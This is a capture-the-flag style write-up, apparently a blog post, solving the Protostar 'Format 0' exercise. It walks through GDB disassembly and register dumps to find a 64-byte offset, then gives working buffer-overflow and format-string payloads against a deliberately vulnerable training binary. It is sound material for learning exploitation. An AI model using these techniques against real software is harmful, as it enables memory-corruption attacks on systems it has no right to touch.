[ExpDev] Exploit Exercise | Protostar | Format 0

Format 0 (Intro to Format String)

I’ve completed all the Protostar “Stack” challenges previously.

  • Stack 0 — Intro to Stack-based BOF
  • Stack 1 — Stack-based BOF: Basic 1
  • Stack 2 — Stack-based BOF: Basic 2
  • Stack 3 — Stack-based BOF: Basic 3
  • Stack 4 — Stack-based BOF: Basic 4
  • Stack 5 — Stack-based BOF: Gaining the first shell using shellcode
  • Stack 6 — Stack-based BOF: ROP (ret2libc)
  • Stack 7 — Stack-based BOF: ROP (ret2.text)

Now, let’s move onto the next challenges, which are exploiting Format String vulnerabilities. The Format String exploitations are interesting because they leverage naive-looking format functions such as printf() or sprintf(). If those format functions are not securely coded/developed, malformed user inputs could execute code or read/write stacks. If you want to learn more this vulnerabilities, I highly recommend to read the “Format String Attack” article created by OWASP.

Source: https://owasp.org/

Format 0

The goal of this Format 0 challenge is to redirect the code execution to print the winning statement by pointing it to the hardcoded “target” variable address. However, I found that this challenge can be solved by a regular stack buffer overflow attack rather than a format string attack.

  • vuln(argv[1]);: The program expects a user-supplied input, and the main() function directly passes the argument to the vuln(char *string) function.
  • char buffer[64];: This limits our buffer length as 64 bytes. → which we can enter more than 64 bytes to cause a BOF.
  • sprintf(buffer, string);: This is the vulnerable function in this code. The sprintf() is a part of the printf() format function family. And sprintf() will not check whether the supplied inputs are bigger than the buffer size or expected format strings. Its man page explicitly explains this concerns under its bugs section:
  • if(target == 0xdeadbeef) {: This is the address for the winning statement.

Disassemble (GDB)

$ gdb -q format0
Reading symbols from /opt/protostar/bin/format0...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble vuln

Exploit

As we saw it from the source code that the “target” variable is hardcoded to “0.” Hence, when it compares eax, it will always be “0.”

But we can cause a BOF to control the eax by leveraging the sprintf() function as well as the allocated buffer size of char buffer[64]. We just need to find a right offset to overwrite the eax value to 0xdeadbeef before it compares.

Since we know that the buffer limit is 64 bytes. Let’s create the following payload to see how many buffer we need to supply before to control over the eax.

(gdb) break vuln
Breakpoint 1 at 0x80483fa: file format0/format0.c, line 11.
(gdb) disassemble vuln
Dump of assembler code for function vuln:
0x080483f4 <vuln+0>: push ebp
0x080483f5 <vuln+1>: mov ebp,esp
0x080483f7 <vuln+3>: sub esp,0x68
0x080483fa <vuln+6>: mov DWORD PTR [ebp-0xc],0x0
0x08048401 <vuln+13>: mov eax,DWORD PTR [ebp+0x8]
0x08048404 <vuln+16>: mov DWORD PTR [esp+0x4],eax
0x08048408 <vuln+20>: lea eax,[ebp-0x4c]
0x0804840b <vuln+23>: mov DWORD PTR [esp],eax
0x0804840e <vuln+26>: call 0x8048300 <sprintf@plt>
0x08048413 <vuln+31>: mov eax,DWORD PTR [ebp-0xc]
0x08048416 <vuln+34>: cmp eax,0xdeadbeef
0x0804841b <vuln+39>: jne 0x8048429 <vuln+53>
0x0804841d <vuln+41>: mov DWORD PTR [esp],0x8048510
0x08048424 <vuln+48>: call 0x8048330 <puts@plt>
0x08048429 <vuln+53>: leave
0x0804842a <vuln+54>: ret
End of assembler dump.
(gdb) break * 0x08048413 # Breakpoint before "cmp"
Breakpoint 2 at 0x8048413: file format0/format0.c, line 15.
(gdb) run $(python -c 'print "A" * 60 + "BBBBCCCCDDDDEEEE"')
# Running the program with our payload
Starting program: /opt/protostar/bin/format0 $(python -c 'print
"A" * 60 + "BBBBCCCCDDDDEEEE"')
Breakpoint 1, vuln (string=0xbffff935 'A' <repeats 60 times>,
"BBBBCCCCDDDDEEEE") at format0/format0.c:11
(gdb) define hook-stop # Creating a GDB hook
Type commands for definition of "hook-stop".
End with a line saying just "end".
>info registers # Display register information
>x/10x $esp # Examine next 10 hex of ESP
>x/3i $eip # Examine next 3 instructions of EIP
>end # Closing the hook
(gdb) continue
# info registers
Continuing.
eax 0x4c 76
ecx 0x0 0
edx 0xbffff5f4 -1073744396
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff6c0 0xbffff6c0
ebp 0xbffff728 0xbffff728
esi 0x0 0
edi 0x0 0
eip 0x8048413 0x8048413 <vuln+31>
eflags 0x200296 [ PF AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

# x/10x $esp
0xbffff6c0: 0xbffff6dc 0xbffff935 0x080481e8 0xbffff758
0xbffff6d0: 0xb7fffa54 0x00000000 0xb7fe1b28 0x41414141
0xbffff6e0: 0x41414141 0x41414141 # Starting to see our payload

# x/3i $eip
0x8048413 <vuln+31>: mov eax,DWORD PTR [ebp-0xc]
0x8048416 <vuln+34>: cmp eax,0xdeadbeef
0x804841b <vuln+39>: jne 0x8048429 <vuln+53>
Breakpoint 2, vuln (string=0xbffff935 'A' <repeats 60 times>,
"BBBBCCCCDDDDEEEE") at format0/format0.c:15

(gdb) si # Single step instruction

eax 0x43434343 1128481603 <-- EAX Overflowed
ecx 0x0 0
edx 0xbffff5f4 -1073744396
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff6c0 0xbffff6c0
ebp 0xbffff728 0xbffff728
esi 0x0 0
edi 0x0 0
eip 0x8048416 0x8048416 <vuln+34>
eflags 0x200296 [ PF AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff6c0: 0xbffff6dc 0xbffff935 0x080481e8 0xbffff758
0xbffff6d0: 0xb7fffa54 0x00000000 0xb7fe1b28 0x41414141
0xbffff6e0: 0x41414141 0x41414141
0x8048416 <vuln+34>: cmp eax,0xdeadbeef # Next Instruction
0x804841b <vuln+39>: jne 0x8048429 <vuln+53>
0x804841d <vuln+41>: mov DWORD PTR [esp],0x8048510
0x08048416 15 in format0/format0.c
(gdb) x $eax <-- Current EAX Value
0x43434343: Cannot access memory at address 0x43434343

Now, we know that our buffer offset is 64 (= “A” * 60 + “BBBB”).

Next step is simple that we just need to add the 0xdeadbeef after the offset value so that when it gets compared, it will redirect us to the wining statement. (0xdeadbeef [Little-endian]\xef\xbe\xad\xde)

$ ./format0 $(python -c 'print "A" * 64 + "\xef\xbe\xad\xde"')you have hit the target correctly :)

Cool. We were successfully print the winning statement. But seriously what the heck? we didn’t even touch any format string parameters to exploit this even though this challenge is called “format 0” 🙄

Let’s recreate our payload using one of the format string parameters, %s (= String). And it works too.

$ ./format0 $(python -c 'print "%64s\xef\xbe\xad\xde"')you have hit the target correctly :)

Thanks for reading!

  • Format 1 — Format String Exploit: Basic 1

OSCE | OSCP | CREST | Offensive Security Consultant — All about Penetration Test | Red Team | Cloud Security | Web Application Security

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store